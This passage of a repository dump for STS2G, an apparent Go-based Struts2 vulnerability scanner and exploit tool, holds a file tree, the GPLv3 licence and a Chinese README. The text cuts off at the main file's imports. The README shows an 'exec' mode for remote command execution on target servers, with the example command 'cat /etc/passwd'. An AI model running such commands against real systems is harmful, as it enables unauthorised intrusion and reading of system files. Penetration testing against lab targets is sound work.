├── Example.png ├── LICENSE ├── README.md ├── ST2SG.go ├── cvemod ├── s001 │ └── s2-001.go ├── s005 │ └── s2-005.go ├── s007 │ └── s2-007.go ├── s008 │ └── s2-008.go ├── s009 │ └── s2-009.go ├── s012 │ └── s2-012.go ├── s013 │ └── s2-013.go ├── s015 │ └── s2-015.go ├── s016 │ └── s2-016.go ├── s045 │ └── s2-045.go ├── s046 │ └── s2-046.go ├── s048 │ └── s2-048.go ├── s053 │ └── s2-053.go ├── s057 │ └── s2-057.go └── utils │ └── utils.go ├── go.mod ├── go.sum ├── s001.png └── s009.png /Example.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xfiftyone/STS2G/bc655d60107e05550c52027e0ce27fe47b07c703/Example.png -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 3, 29 June 2007 3 | 4 | Copyright (C) 2007 Free Software Foundation, Inc. 5 | Everyone is permitted to copy and distribute verbatim copies 6 | of this license document, but changing it is not allowed. 7 | 8 | Preamble 9 | 10 | The GNU General Public License is a free, copyleft license for 11 | software and other kinds of works. 12 | 13 | The licenses for most software and other practical works are designed 14 | to take away your freedom to share and change the works. By contrast, 15 | the GNU General Public License is intended to guarantee your freedom to 16 | share and change all versions of a program--to make sure it remains free 17 | software for all its users. We, the Free Software Foundation, use the 18 | GNU General Public License for most of our software; it applies also to 19 | any other work released this way by its authors. You can apply it to 20 | your programs, too. 21 | 22 | When we speak of free software, we are referring to freedom, not 23 | price. Our General Public Licenses are designed to make sure that you 24 | have the freedom to distribute copies of free software (and charge for 25 | them if you wish), that you receive source code or can get it if you 26 | want it, that you can change the software or use pieces of it in new 27 | free programs, and that you know you can do these things. 28 | 29 | To protect your rights, we need to prevent others from denying you 30 | these rights or asking you to surrender the rights. Therefore, you have 31 | certain responsibilities if you distribute copies of the software, or if 32 | you modify it: responsibilities to respect the freedom of others. 33 | 34 | For example, if you distribute copies of such a program, whether 35 | gratis or for a fee, you must pass on to the recipients the same 36 | freedoms that you received. You must make sure that they, too, receive 37 | or can get the source code. And you must show them these terms so they 38 | know their rights. 39 | 40 | Developers that use the GNU GPL protect your rights with two steps: 41 | (1) assert copyright on the software, and (2) offer you this License 42 | giving you legal permission to copy, distribute and/or modify it. 43 | 44 | For the developers' and authors' protection, the GPL clearly explains 45 | that there is no warranty for this free software. For both users' and 46 | authors' sake, the GPL requires that modified versions be marked as 47 | changed, so that their problems will not be attributed erroneously to 48 | authors of previous versions. 49 | 50 | Some devices are designed to deny users access to install or run 51 | modified versions of the software inside them, although the manufacturer 52 | can do so. This is fundamentally incompatible with the aim of 53 | protecting users' freedom to change the software. The systematic 54 | pattern of such abuse occurs in the area of products for individuals to 55 | use, which is precisely where it is most unacceptable. Therefore, we 56 | have designed this version of the GPL to prohibit the practice for those 57 | products. If such problems arise substantially in other domains, we 58 | stand ready to extend this provision to those domains in future versions 59 | of the GPL, as needed to protect the freedom of users. 60 | 61 | Finally, every program is threatened constantly by software patents. 62 | States should not allow patents to restrict development and use of 63 | software on general-purpose computers, but in those that do, we wish to 64 | avoid the special danger that patents applied to a free program could 65 | make it effectively proprietary. To prevent this, the GPL assures that 66 | patents cannot be used to render the program non-free. 67 | 68 | The precise terms and conditions for copying, distribution and 69 | modification follow. 70 | 71 | TERMS AND CONDITIONS 72 | 73 | 0. Definitions. 74 | 75 | "This License" refers to version 3 of the GNU General Public License. 76 | 77 | "Copyright" also means copyright-like laws that apply to other kinds of 78 | works, such as semiconductor masks. 79 | 80 | "The Program" refers to any copyrightable work licensed under this 81 | License. Each licensee is addressed as "you". "Licensees" and 82 | "recipients" may be individuals or organizations. 83 | 84 | To "modify" a work means to copy from or adapt all or part of the work 85 | in a fashion requiring copyright permission, other than the making of an 86 | exact copy. The resulting work is called a "modified version" of the 87 | earlier work or a work "based on" the earlier work. 88 | 89 | A "covered work" means either the unmodified Program or a work based 90 | on the Program. 91 | 92 | To "propagate" a work means to do anything with it that, without 93 | permission, would make you directly or secondarily liable for 94 | infringement under applicable copyright law, except executing it on a 95 | computer or modifying a private copy. Propagation includes copying, 96 | distribution (with or without modification), making available to the 97 | public, and in some countries other activities as well. 98 | 99 | To "convey" a work means any kind of propagation that enables other 100 | parties to make or receive copies. Mere interaction with a user through 101 | a computer network, with no transfer of a copy, is not conveying. 102 | 103 | An interactive user interface displays "Appropriate Legal Notices" 104 | to the extent that it includes a convenient and prominently visible 105 | feature that (1) displays an appropriate copyright notice, and (2) 106 | tells the user that there is no warranty for the work (except to the 107 | extent that warranties are provided), that licensees may convey the 108 | work under this License, and how to view a copy of this License. If 109 | the interface presents a list of user commands or options, such as a 110 | menu, a prominent item in the list meets this criterion. 111 | 112 | 1. Source Code. 113 | 114 | The "source code" for a work means the preferred form of the work 115 | for making modifications to it. "Object code" means any non-source 116 | form of a work. 117 | 118 | A "Standard Interface" means an interface that either is an official 119 | standard defined by a recognized standards body, or, in the case of 120 | interfaces specified for a particular programming language, one that 121 | is widely used among developers working in that language. 122 | 123 | The "System Libraries" of an executable work include anything, other 124 | than the work as a whole, that (a) is included in the normal form of 125 | packaging a Major Component, but which is not part of that Major 126 | Component, and (b) serves only to enable use of the work with that 127 | Major Component, or to implement a Standard Interface for which an 128 | implementation is available to the public in source code form. A 129 | "Major Component", in this context, means a major essential component 130 | (kernel, window system, and so on) of the specific operating system 131 | (if any) on which the executable work runs, or a compiler used to 132 | produce the work, or an object code interpreter used to run it. 133 | 134 | The "Corresponding Source" for a work in object code form means all 135 | the source code needed to generate, install, and (for an executable 136 | work) run the object code and to modify the work, including scripts to 137 | control those activities. However, it does not include the work's 138 | System Libraries, or general-purpose tools or generally available free 139 | programs which are used unmodified in performing those activities but 140 | which are not part of the work. For example, Corresponding Source 141 | includes interface definition files associated with source files for 142 | the work, and the source code for shared libraries and dynamically 143 | linked subprograms that the work is specifically designed to require, 144 | such as by intimate data communication or control flow between those 145 | subprograms and other parts of the work. 146 | 147 | The Corresponding Source need not include anything that users 148 | can regenerate automatically from other parts of the Corresponding 149 | Source. 150 | 151 | The Corresponding Source for a work in source code form is that 152 | same work. 153 | 154 | 2. Basic Permissions. 155 | 156 | All rights granted under this License are granted for the term of 157 | copyright on the Program, and are irrevocable provided the stated 158 | conditions are met. This License explicitly affirms your unlimited 159 | permission to run the unmodified Program. The output from running a 160 | covered work is covered by this License only if the output, given its 161 | content, constitutes a covered work. This License acknowledges your 162 | rights of fair use or other equivalent, as provided by copyright law. 163 | 164 | You may make, run and propagate covered works that you do not 165 | convey, without conditions so long as your license otherwise remains 166 | in force. You may convey covered works to others for the sole purpose 167 | of having them make modifications exclusively for you, or provide you 168 | with facilities for running those works, provided that you comply with 169 | the terms of this License in conveying all material for which you do 170 | not control copyright. Those thus making or running the covered works 171 | for you must do so exclusively on your behalf, under your direction 172 | and control, on terms that prohibit them from making any copies of 173 | your copyrighted material outside their relationship with you. 174 | 175 | Conveying under any other circumstances is permitted solely under 176 | the conditions stated below. Sublicensing is not allowed; section 10 177 | makes it unnecessary. 178 | 179 | 3. Protecting Users' Legal Rights From Anti-Circumvention Law. 180 | 181 | No covered work shall be deemed part of an effective technological 182 | measure under any applicable law fulfilling obligations under article 183 | 11 of the WIPO copyright treaty adopted on 20 December 1996, or 184 | similar laws prohibiting or restricting circumvention of such 185 | measures. 186 | 187 | When you convey a covered work, you waive any legal power to forbid 188 | circumvention of technological measures to the extent such circumvention 189 | is effected by exercising rights under this License with respect to 190 | the covered work, and you disclaim any intention to limit operation or 191 | modification of the work as a means of enforcing, against the work's 192 | users, your or third parties' legal rights to forbid circumvention of 193 | technological measures. 194 | 195 | 4. Conveying Verbatim Copies. 196 | 197 | You may convey verbatim copies of the Program's source code as you 198 | receive it, in any medium, provided that you conspicuously and 199 | appropriately publish on each copy an appropriate copyright notice; 200 | keep intact all notices stating that this License and any 201 | non-permissive terms added in accord with section 7 apply to the code; 202 | keep intact all notices of the absence of any warranty; and give all 203 | recipients a copy of this License along with the Program. 204 | 205 | You may charge any price or no price for each copy that you convey, 206 | and you may offer support or warranty protection for a fee. 207 | 208 | 5. Conveying Modified Source Versions. 209 | 210 | You may convey a work based on the Program, or the modifications to 211 | produce it from the Program, in the form of source code under the 212 | terms of section 4, provided that you also meet all of these conditions: 213 | 214 | a) The work must carry prominent notices stating that you modified 215 | it, and giving a relevant date. 216 | 217 | b) The work must carry prominent notices stating that it is 218 | released under this License and any conditions added under section 219 | 7. This requirement modifies the requirement in section 4 to 220 | "keep intact all notices". 221 | 222 | c) You must license the entire work, as a whole, under this 223 | License to anyone who comes into possession of a copy. This 224 | License will therefore apply, along with any applicable section 7 225 | additional terms, to the whole of the work, and all its parts, 226 | regardless of how they are packaged. This License gives no 227 | permission to license the work in any other way, but it does not 228 | invalidate such permission if you have separately received it. 229 | 230 | d) If the work has interactive user interfaces, each must display 231 | Appropriate Legal Notices; however, if the Program has interactive 232 | interfaces that do not display Appropriate Legal Notices, your 233 | work need not make them do so. 234 | 235 | A compilation of a covered work with other separate and independent 236 | works, which are not by their nature extensions of the covered work, 237 | and which are not combined with it such as to form a larger program, 238 | in or on a volume of a storage or distribution medium, is called an 239 | "aggregate" if the compilation and its resulting copyright are not 240 | used to limit the access or legal rights of the compilation's users 241 | beyond what the individual works permit. Inclusion of a covered work 242 | in an aggregate does not cause this License to apply to the other 243 | parts of the aggregate. 244 | 245 | 6. Conveying Non-Source Forms. 246 | 247 | You may convey a covered work in object code form under the terms 248 | of sections 4 and 5, provided that you also convey the 249 | machine-readable Corresponding Source under the terms of this License, 250 | in one of these ways: 251 | 252 | a) Convey the object code in, or embodied in, a physical product 253 | (including a physical distribution medium), accompanied by the 254 | Corresponding Source fixed on a durable physical medium 255 | customarily used for software interchange. 256 | 257 | b) Convey the object code in, or embodied in, a physical product 258 | (including a physical distribution medium), accompanied by a 259 | written offer, valid for at least three years and valid for as 260 | long as you offer spare parts or customer support for that product 261 | model, to give anyone who possesses the object code either (1) a 262 | copy of the Corresponding Source for all the software in the 263 | product that is covered by this License, on a durable physical 264 | medium customarily used for software interchange, for a price no 265 | more than your reasonable cost of physically performing this 266 | conveying of source, or (2) access to copy the 267 | Corresponding Source from a network server at no charge. 268 | 269 | c) Convey individual copies of the object code with a copy of the 270 | written offer to provide the Corresponding Source. This 271 | alternative is allowed only occasionally and noncommercially, and 272 | only if you received the object code with such an offer, in accord 273 | with subsection 6b. 274 | 275 | d) Convey the object code by offering access from a designated 276 | place (gratis or for a charge), and offer equivalent access to the 277 | Corresponding Source in the same way through the same place at no 278 | further charge. You need not require recipients to copy the 279 | Corresponding Source along with the object code. If the place to 280 | copy the object code is a network server, the Corresponding Source 281 | may be on a different server (operated by you or a third party) 282 | that supports equivalent copying facilities, provided you maintain 283 | clear directions next to the object code saying where to find the 284 | Corresponding Source. Regardless of what server hosts the 285 | Corresponding Source, you remain obligated to ensure that it is 286 | available for as long as needed to satisfy these requirements. 287 | 288 | e) Convey the object code using peer-to-peer transmission, provided 289 | you inform other peers where the object code and Corresponding 290 | Source of the work are being offered to the general public at no 291 | charge under subsection 6d. 292 | 293 | A separable portion of the object code, whose source code is excluded 294 | from the Corresponding Source as a System Library, need not be 295 | included in conveying the object code work. 296 | 297 | A "User Product" is either (1) a "consumer product", which means any 298 | tangible personal property which is normally used for personal, family, 299 | or household purposes, or (2) anything designed or sold for incorporation 300 | into a dwelling. In determining whether a product is a consumer product, 301 | doubtful cases shall be resolved in favor of coverage. For a particular 302 | product received by a particular user, "normally used" refers to a 303 | typical or common use of that class of product, regardless of the status 304 | of the particular user or of the way in which the particular user 305 | actually uses, or expects or is expected to use, the product. A product 306 | is a consumer product regardless of whether the product has substantial 307 | commercial, industrial or non-consumer uses, unless such uses represent 308 | the only significant mode of use of the product. 309 | 310 | "Installation Information" for a User Product means any methods, 311 | procedures, authorization keys, or other information required to install 312 | and execute modified versions of a covered work in that User Product from 313 | a modified version of its Corresponding Source. The information must 314 | suffice to ensure that the continued functioning of the modified object 315 | code is in no case prevented or interfered with solely because 316 | modification has been made. 317 | 318 | If you convey an object code work under this section in, or with, or 319 | specifically for use in, a User Product, and the conveying occurs as 320 | part of a transaction in which the right of possession and use of the 321 | User Product is transferred to the recipient in perpetuity or for a 322 | fixed term (regardless of how the transaction is characterized), the 323 | Corresponding Source conveyed under this section must be accompanied 324 | by the Installation Information. But this requirement does not apply 325 | if neither you nor any third party retains the ability to install 326 | modified object code on the User Product (for example, the work has 327 | been installed in ROM). 328 | 329 | The requirement to provide Installation Information does not include a 330 | requirement to continue to provide support service, warranty, or updates 331 | for a work that has been modified or installed by the recipient, or for 332 | the User Product in which it has been modified or installed. Access to a 333 | network may be denied when the modification itself materially and 334 | adversely affects the operation of the network or violates the rules and 335 | protocols for communication across the network. 336 | 337 | Corresponding Source conveyed, and Installation Information provided, 338 | in accord with this section must be in a format that is publicly 339 | documented (and with an implementation available to the public in 340 | source code form), and must require no special password or key for 341 | unpacking, reading or copying. 342 | 343 | 7. Additional Terms. 344 | 345 | "Additional permissions" are terms that supplement the terms of this 346 | License by making exceptions from one or more of its conditions. 347 | Additional permissions that are applicable to the entire Program shall 348 | be treated as though they were included in this License, to the extent 349 | that they are valid under applicable law. If additional permissions 350 | apply only to part of the Program, that part may be used separately 351 | under those permissions, but the entire Program remains governed by 352 | this License without regard to the additional permissions. 353 | 354 | When you convey a copy of a covered work, you may at your option 355 | remove any additional permissions from that copy, or from any part of 356 | it. (Additional permissions may be written to require their own 357 | removal in certain cases when you modify the work.) You may place 358 | additional permissions on material, added by you to a covered work, 359 | for which you have or can give appropriate copyright permission. 360 | 361 | Notwithstanding any other provision of this License, for material you 362 | add to a covered work, you may (if authorized by the copyright holders of 363 | that material) supplement the terms of this License with terms: 364 | 365 | a) Disclaiming warranty or limiting liability differently from the 366 | terms of sections 15 and 16 of this License; or 367 | 368 | b) Requiring preservation of specified reasonable legal notices or 369 | author attributions in that material or in the Appropriate Legal 370 | Notices displayed by works containing it; or 371 | 372 | c) Prohibiting misrepresentation of the origin of that material, or 373 | requiring that modified versions of such material be marked in 374 | reasonable ways as different from the original version; or 375 | 376 | d) Limiting the use for publicity purposes of names of licensors or 377 | authors of the material; or 378 | 379 | e) Declining to grant rights under trademark law for use of some 380 | trade names, trademarks, or service marks; or 381 | 382 | f) Requiring indemnification of licensors and authors of that 383 | material by anyone who conveys the material (or modified versions of 384 | it) with contractual assumptions of liability to the recipient, for 385 | any liability that these contractual assumptions directly impose on 386 | those licensors and authors. 387 | 388 | All other non-permissive additional terms are considered "further 389 | restrictions" within the meaning of section 10. If the Program as you 390 | received it, or any part of it, contains a notice stating that it is 391 | governed by this License along with a term that is a further 392 | restriction, you may remove that term. If a license document contains 393 | a further restriction but permits relicensing or conveying under this 394 | License, you may add to a covered work material governed by the terms 395 | of that license document, provided that the further restriction does 396 | not survive such relicensing or conveying. 397 | 398 | If you add terms to a covered work in accord with this section, you 399 | must place, in the relevant source files, a statement of the 400 | additional terms that apply to those files, or a notice indicating 401 | where to find the applicable terms. 402 | 403 | Additional terms, permissive or non-permissive, may be stated in the 404 | form of a separately written license, or stated as exceptions; 405 | the above requirements apply either way. 406 | 407 | 8. Termination. 408 | 409 | You may not propagate or modify a covered work except as expressly 410 | provided under this License. Any attempt otherwise to propagate or 411 | modify it is void, and will automatically terminate your rights under 412 | this License (including any patent licenses granted under the third 413 | paragraph of section 11). 414 | 415 | However, if you cease all violation of this License, then your 416 | license from a particular copyright holder is reinstated (a) 417 | provisionally, unless and until the copyright holder explicitly and 418 | finally terminates your license, and (b) permanently, if the copyright 419 | holder fails to notify you of the violation by some reasonable means 420 | prior to 60 days after the cessation. 421 | 422 | Moreover, your license from a particular copyright holder is 423 | reinstated permanently if the copyright holder notifies you of the 424 | violation by some reasonable means, this is the first time you have 425 | received notice of violation of this License (for any work) from that 426 | copyright holder, and you cure the violation prior to 30 days after 427 | your receipt of the notice. 428 | 429 | Termination of your rights under this section does not terminate the 430 | licenses of parties who have received copies or rights from you under 431 | this License. If your rights have been terminated and not permanently 432 | reinstated, you do not qualify to receive new licenses for the same 433 | material under section 10. 434 | 435 | 9. Acceptance Not Required for Having Copies. 436 | 437 | You are not required to accept this License in order to receive or 438 | run a copy of the Program. Ancillary propagation of a covered work 439 | occurring solely as a consequence of using peer-to-peer transmission 440 | to receive a copy likewise does not require acceptance. However, 441 | nothing other than this License grants you permission to propagate or 442 | modify any covered work. These actions infringe copyright if you do 443 | not accept this License. Therefore, by modifying or propagating a 444 | covered work, you indicate your acceptance of this License to do so. 445 | 446 | 10. Automatic Licensing of Downstream Recipients. 447 | 448 | Each time you convey a covered work, the recipient automatically 449 | receives a license from the original licensors, to run, modify and 450 | propagate that work, subject to this License. You are not responsible 451 | for enforcing compliance by third parties with this License. 452 | 453 | An "entity transaction" is a transaction transferring control of an 454 | organization, or substantially all assets of one, or subdividing an 455 | organization, or merging organizations. If propagation of a covered 456 | work results from an entity transaction, each party to that 457 | transaction who receives a copy of the work also receives whatever 458 | licenses to the work the party's predecessor in interest had or could 459 | give under the previous paragraph, plus a right to possession of the 460 | Corresponding Source of the work from the predecessor in interest, if 461 | the predecessor has it or can get it with reasonable efforts. 462 | 463 | You may not impose any further restrictions on the exercise of the 464 | rights granted or affirmed under this License. For example, you may 465 | not impose a license fee, royalty, or other charge for exercise of 466 | rights granted under this License, and you may not initiate litigation 467 | (including a cross-claim or counterclaim in a lawsuit) alleging that 468 | any patent claim is infringed by making, using, selling, offering for 469 | sale, or importing the Program or any portion of it. 470 | 471 | 11. Patents. 472 | 473 | A "contributor" is a copyright holder who authorizes use under this 474 | License of the Program or a work on which the Program is based. The 475 | work thus licensed is called the contributor's "contributor version". 476 | 477 | A contributor's "essential patent claims" are all patent claims 478 | owned or controlled by the contributor, whether already acquired or 479 | hereafter acquired, that would be infringed by some manner, permitted 480 | by this License, of making, using, or selling its contributor version, 481 | but do not include claims that would be infringed only as a 482 | consequence of further modification of the contributor version. For 483 | purposes of this definition, "control" includes the right to grant 484 | patent sublicenses in a manner consistent with the requirements of 485 | this License. 486 | 487 | Each contributor grants you a non-exclusive, worldwide, royalty-free 488 | patent license under the contributor's essential patent claims, to 489 | make, use, sell, offer for sale, import and otherwise run, modify and 490 | propagate the contents of its contributor version. 491 | 492 | In the following three paragraphs, a "patent license" is any express 493 | agreement or commitment, however denominated, not to enforce a patent 494 | (such as an express permission to practice a patent or covenant not to 495 | sue for patent infringement). To "grant" such a patent license to a 496 | party means to make such an agreement or commitment not to enforce a 497 | patent against the party. 498 | 499 | If you convey a covered work, knowingly relying on a patent license, 500 | and the Corresponding Source of the work is not available for anyone 501 | to copy, free of charge and under the terms of this License, through a 502 | publicly available network server or other readily accessible means, 503 | then you must either (1) cause the Corresponding Source to be so 504 | available, or (2) arrange to deprive yourself of the benefit of the 505 | patent license for this particular work, or (3) arrange, in a manner 506 | consistent with the requirements of this License, to extend the patent 507 | license to downstream recipients. "Knowingly relying" means you have 508 | actual knowledge that, but for the patent license, your conveying the 509 | covered work in a country, or your recipient's use of the covered work 510 | in a country, would infringe one or more identifiable patents in that 511 | country that you have reason to believe are valid. 512 | 513 | If, pursuant to or in connection with a single transaction or 514 | arrangement, you convey, or propagate by procuring conveyance of, a 515 | covered work, and grant a patent license to some of the parties 516 | receiving the covered work authorizing them to use, propagate, modify 517 | or convey a specific copy of the covered work, then the patent license 518 | you grant is automatically extended to all recipients of the covered 519 | work and works based on it. 520 | 521 | A patent license is "discriminatory" if it does not include within 522 | the scope of its coverage, prohibits the exercise of, or is 523 | conditioned on the non-exercise of one or more of the rights that are 524 | specifically granted under this License. You may not convey a covered 525 | work if you are a party to an arrangement with a third party that is 526 | in the business of distributing software, under which you make payment 527 | to the third party based on the extent of your activity of conveying 528 | the work, and under which the third party grants, to any of the 529 | parties who would receive the covered work from you, a discriminatory 530 | patent license (a) in connection with copies of the covered work 531 | conveyed by you (or copies made from those copies), or (b) primarily 532 | for and in connection with specific products or compilations that 533 | contain the covered work, unless you entered into that arrangement, 534 | or that patent license was granted, prior to 28 March 2007. 535 | 536 | Nothing in this License shall be construed as excluding or limiting 537 | any implied license or other defenses to infringement that may 538 | otherwise be available to you under applicable patent law. 539 | 540 | 12. No Surrender of Others' Freedom. 541 | 542 | If conditions are imposed on you (whether by court order, agreement or 543 | otherwise) that contradict the conditions of this License, they do not 544 | excuse you from the conditions of this License. If you cannot convey a 545 | covered work so as to satisfy simultaneously your obligations under this 546 | License and any other pertinent obligations, then as a consequence you may 547 | not convey it at all. For example, if you agree to terms that obligate you 548 | to collect a royalty for further conveying from those to whom you convey 549 | the Program, the only way you could satisfy both those terms and this 550 | License would be to refrain entirely from conveying the Program. 551 | 552 | 13. Use with the GNU Affero General Public License. 553 | 554 | Notwithstanding any other provision of this License, you have 555 | permission to link or combine any covered work with a work licensed 556 | under version 3 of the GNU Affero General Public License into a single 557 | combined work, and to convey the resulting work. The terms of this 558 | License will continue to apply to the part which is the covered work, 559 | but the special requirements of the GNU Affero General Public License, 560 | section 13, concerning interaction through a network will apply to the 561 | combination as such. 562 | 563 | 14. Revised Versions of this License. 564 | 565 | The Free Software Foundation may publish revised and/or new versions of 566 | the GNU General Public License from time to time. Such new versions will 567 | be similar in spirit to the present version, but may differ in detail to 568 | address new problems or concerns. 569 | 570 | Each version is given a distinguishing version number. If the 571 | Program specifies that a certain numbered version of the GNU General 572 | Public License "or any later version" applies to it, you have the 573 | option of following the terms and conditions either of that numbered 574 | version or of any later version published by the Free Software 575 | Foundation. If the Program does not specify a version number of the 576 | GNU General Public License, you may choose any version ever published 577 | by the Free Software Foundation. 578 | 579 | If the Program specifies that a proxy can decide which future 580 | versions of the GNU General Public License can be used, that proxy's 581 | public statement of acceptance of a version permanently authorizes you 582 | to choose that version for the Program. 583 | 584 | Later license versions may give you additional or different 585 | permissions. However, no additional obligations are imposed on any 586 | author or copyright holder as a result of your choosing to follow a 587 | later version. 588 | 589 | 15. Disclaimer of Warranty. 590 | 591 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY 592 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT 593 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY 594 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, 595 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR 596 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM 597 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF 598 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 599 | 600 | 16. Limitation of Liability. 601 | 602 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 603 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS 604 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY 605 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE 606 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF 607 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD 608 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), 609 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF 610 | SUCH DAMAGES. 611 | 612 | 17. Interpretation of Sections 15 and 16. 613 | 614 | If the disclaimer of warranty and limitation of liability provided 615 | above cannot be given local legal effect according to their terms, 616 | reviewing courts shall apply local law that most closely approximates 617 | an absolute waiver of all civil liability in connection with the 618 | Program, unless a warranty or assumption of liability accompanies a 619 | copy of the Program in return for a fee. 620 | 621 | END OF TERMS AND CONDITIONS 622 | 623 | How to Apply These Terms to Your New Programs 624 | 625 | If you develop a new program, and you want it to be of the greatest 626 | possible use to the public, the best way to achieve this is to make it 627 | free software which everyone can redistribute and change under these terms. 628 | 629 | To do so, attach the following notices to the program. It is safest 630 | to attach them to the start of each source file to most effectively 631 | state the exclusion of warranty; and each file should have at least 632 | the "copyright" line and a pointer to where the full notice is found. 633 | 634 | 635 | Copyright (C) 636 | 637 | This program is free software: you can redistribute it and/or modify 638 | it under the terms of the GNU General Public License as published by 639 | the Free Software Foundation, either version 3 of the License, or 640 | (at your option) any later version. 641 | 642 | This program is distributed in the hope that it will be useful, 643 | but WITHOUT ANY WARRANTY; without even the implied warranty of 644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 645 | GNU General Public License for more details. 646 | 647 | You should have received a copy of the GNU General Public License 648 | along with this program. If not, see . 649 | 650 | Also add information on how to contact you by electronic and paper mail. 651 | 652 | If the program does terminal interaction, make it output a short 653 | notice like this when it starts in an interactive mode: 654 | 655 | Copyright (C) 656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 657 | This is free software, and you are welcome to redistribute it 658 | under certain conditions; type `show c' for details. 659 | 660 | The hypothetical commands `show w' and `show c' should show the appropriate 661 | parts of the General Public License. Of course, your program's commands 662 | might be different; for a GUI interface, you would use an "about box". 663 | 664 | You should also get your employer (if you work as a programmer) or school, 665 | if any, to sign a "copyright disclaimer" for the program, if necessary. 666 | For more information on this, and how to apply and follow the GNU GPL, see 667 | . 668 | 669 | The GNU General Public License does not permit incorporating your program 670 | into proprietary programs. If your program is a subroutine library, you 671 | may consider it more useful to permit linking proprietary applications with 672 | the library. If this is what you want to do, use the GNU Lesser General 673 | Public License instead of this License. But first, please read 674 | . 675 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # STS2G 2 | Struts2漏洞测试-Golang版,部分POC参考了众多优秀项目如[Struts2-Scan](https://github.com/HatBoy/Struts2-Scan),漏洞测试环境采用[vulhub](https://github.com/vulhub/vulhub/tree/master/struts2). 3 | 目前两种模式`scan`和`exec`支持: 4 | *struts2-001* 、*struts2-005* 、*struts2-007* 、*struts2-008* 、*struts2-009* 、*struts2-012* 、*struts2-013* 、*struts2-015* 、*struts2-016* 、*struts2-045* 、*struts2-046* 、*struts2-048* 、*struts2-053* 、*struts2-057* 5 | ## 使用方法 6 | ``` 7 | ...\STS2G-master>go build 8 | 9 | D:\Struts2-Test>ST2SG.exe -h 10 | NAME: 11 | ST2SG - Struts2 Scanner Written in Golang 12 | 13 | USAGE: 14 | ST2SG --url http://xxxxxxx.com/test.action --vn 15 --mode scan 15 | 16 | AUTHOR: 17 | x51 18 | 19 | COMMANDS: 20 | help, h Shows a list of commands or help for one command 21 | 22 | GLOBAL OPTIONS: 23 | --mode value Specify work mode 24 | --vn value Vulnerability number (default: 0) 25 | --url value Set target url 26 | --cmd value Exec command(Only works on mode exec.) 27 | --data value Specific vulnerability packets 28 | --help, -h show help (default: false) 29 | ``` 30 | ![avatar](./Example.png) 31 | ### 默认扫描模式(不建议): 32 | ```ST2SG --url http://xxx.com/index.action --mode scan``` 33 | ### 指定漏洞扫描模式: 34 | ```ST2SG --url http://xxx.com/index.action --vn 15 --mode scan``` 35 | ### 命令执行模式: 36 | ```ST2SG --url http://xxx.com/index.action --vn 15 --mode exec --cmd "cat /etc/passwd"``` 37 | ### 自定义参数: 38 | *基于以上方法,分两种情况,自定义GET参数名,和自定义POST数据包内容,POST方式需要在数据包中指定一下要测试的参数并用fuckit标记出来.* 39 | #### POST 40 | ```ST2SG --mode scan --url http://xxx.com/index.action --vn 007 --data "name=fuckit&pass=qwer"``` 41 | 以Struts2-001为例,登录请求包如下: 42 | ``` 43 | POST /login.action HTTP/1.1 44 | Host: 192.168.123.128:8080 45 | User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0 46 | Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 47 | Accept-Language: en-US,en;q=0.5 48 | Accept-Encoding: gzip, deflate 49 | Content-Type: application/x-www-form-urlencoded 50 | Content-Length: 25 51 | Origin: http://192.168.123.128:8080 52 | Connection: close 53 | Referer: http://192.168.123.128:8080/ 54 | Cookie: JSESSIONID=51B574E47166823D7622CA583D71954E 55 | Upgrade-Insecure-Requests: 1 56 | 57 | username=aaa&password=bbb 58 | ``` 59 | ![avatar](./s001.png) 60 | #### GET 61 | ```ST2SG --mode scan --url http://xxx.com/index.action --vn 009 --data "name"``` 62 | 以Struts2-009为例,GET请求如下: 63 | ``` 64 | http://192.168.123.128:8080/ajax/example5.action?age=1&name=aaa 65 | ``` 66 | ![avatar](./s009.png) 67 | ## 补充 68 | 1、强烈建议使用vn参数; 69 | 2、自定义POC只需在utils中修改/增加为自己的即可; 70 | 3、部分漏洞支持获取webpath,功能函数已经在各自漏洞模块中实现(func GetWebPath),可自行调用; 71 | -------------------------------------------------------------------------------- /ST2SG.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "ST2G/cvemod/s001" 5 | "ST2G/cvemod/s005" 6 | "ST2G/cvemod/s007" 7 | "ST2G/cvemod/s008" 8 | "ST2G/cvemod/s009" 9 | "ST2G/cvemod/s012" 10 | "ST2G/cvemod/s013" 11 | "ST2G/cvemod/s015" 12 | "ST2G/cvemod/s016" 13 | "ST2G/cvemod/s045" 14 | "ST2G/cvemod/s046" 15 | "ST2G/cvemod/s048" 16 | "ST2G/cvemod/s053" 17 | "ST2G/cvemod/s057" 18 | 